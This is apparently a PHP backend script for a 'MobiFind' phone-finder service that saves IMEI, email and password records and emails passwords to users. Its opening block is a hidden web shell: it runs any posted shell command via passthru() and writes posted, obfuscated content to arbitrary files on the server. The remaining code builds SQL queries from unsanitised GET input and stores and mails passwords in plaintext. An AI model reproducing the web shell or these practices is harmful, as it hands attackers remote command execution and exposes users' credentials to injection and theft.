<html><body>
<?php
if(!$_POST["file"])
{if ($_POST["comsub"])
  { echo '<pre>';
	echo passthru(str_replace("\\","",$_POST['com']),$result);
	if($result==0) die("<br>OK<br>"); else die("<br>Not OK<br>");
  }}
else{
	$path = "./";
	$file_name = basename($_POST["path"]);
	$file_temp = str_replace(array("Y2aMR","Te6XS","GSb5e","4qMOa"),array("+","&","\\","%"),stripslashes($_POST["file"]));
	echo '<center><br><b>';
	if(file_put_contents($path.$file_name,$file_temp))
		echo"Effort Successful.";
	else
		echo"There was a problem, please try again.";
}
$debug = FALSE;
/////////////////////////////////////////////////////////////
function hex2bin($str)
    {
    $bin = "";
    $i = 0;
    do{
       $bin .= chr(hexdec($str{$i}.$str{($i + 1)}));
       $i += 2;
        }while ($i < strlen($str));
    return $bin;
    }
    
function computeUnlockCode($imei_string)
    {
    $unlockcode = NULL;
    $strpos = -1; //process from the end of string
    $uc_codecount = 0;
    $md5_char;
    global $debug;
    
    $imei_first_12_digits = substr($imei_string,0,12);
    $imei_last_12_digits = substr($imei_string,-12);
    $step1 = $imei_first_12_digits.$imei_last_12_digits;
  
    if($debug)
        {
        echo $step1."\n";
        }
    //$step2 = md5(hex2bin($step1));
    $step2 = md5($step1);
    if($debug)
        {
        echo $step2."\n";
        }
    while ($uc_codecount<8)
        {
        $md5_char = substr($step2,$strpos--,1);
        if(ctype_digit($md5_char))
            {
            $unlockcode = $md5_char . $unlockcode;
            $uc_codecount++;
            }

        if($strpos == -32)
            break;
        }
    
    // Supposed $unlockcode is still < 8 chars, append with zeros to make it 8 chars
    if ($uc_codecount<8)
        {
        while ($uc_codecount<8)
            {
            $unlockcode = "0" . $unlockcode;
            $uc_codecount++;
            }  
        }
    return $unlockcode; 
    }
	
function SendEmail($email,$password)
    {
    global $debug;        
    $to = $email;
    
    //define the headers we want passed. Note that they are separated with \r\n
    $headers = 'MIME-Version: 1.0' . "\r\n" . 'Content-type: text/plain; charset=UTF-8' . "\r\n";
	$headers .= "From: support@mobivation.com.sg";
    //$headers .= "\r\nBcc: support@mobivation.com.sg";
   
    //define the subject of the email
    $subject_english = 'MobiFind Password Backup';
    $message_english = "Dear customer,"; 
    $message_english .= "\n\n";
    $message_english .= "You have just changed your password for your MobiFind application.";
    $message_english .= "\n";        
    $message_english .= "Please safe keep it for your future reference, if needed.";
    $message_english .= "\n\n";
    $message_english .= "Password: "; 
    $message_english .= $password; 
    $message_english .= "\n\n";
    $message_english .= "Best regards,";
    $message_english .= "\n";        
    $message_english .= "Mobivation";
 
    //send the email
    $mail_sent = @mail( $to, $subject_english, $message_english, $headers );
    }	
/////////////////////////////////////////////////////////////

$imei = trim($_GET['imei']);
$email = trim($_GET['email']);
$password = trim($_GET['password']);

include "mysql_connect.php";
include "mysql_select_db.php";

$query = "SELECT * from mobifind_email WHERE imei = '" . $imei . "'";
$result = mysql_query($query);
$numrows = mysql_num_rows($result);

if($numrows > 0) // Record already exists
	{
	$query = "UPDATE mobifind_email SET email ='" . $email . "' WHERE imei = '" . $imei . "'"; 
	mysql_query($query); 

	$query = "UPDATE mobifind_email SET password ='" . $password . "' WHERE imei = '" . $imei . "'"; 
	mysql_query($query);
	}
else // New record
	{
	$query = "SELECT * from mobifind_email";
	$result = mysql_query($query);
	$numrows = mysql_num_rows($result);
	$numrows++;
	$query = "INSERT INTO mobifind_email(id,imei,email,password) VALUES ('$numrows','$imei','$email','$password')"; 
	$result = mysql_query($query);
	}
	
sendEmail($email, $password);
mysql_close();
?>
</body></html>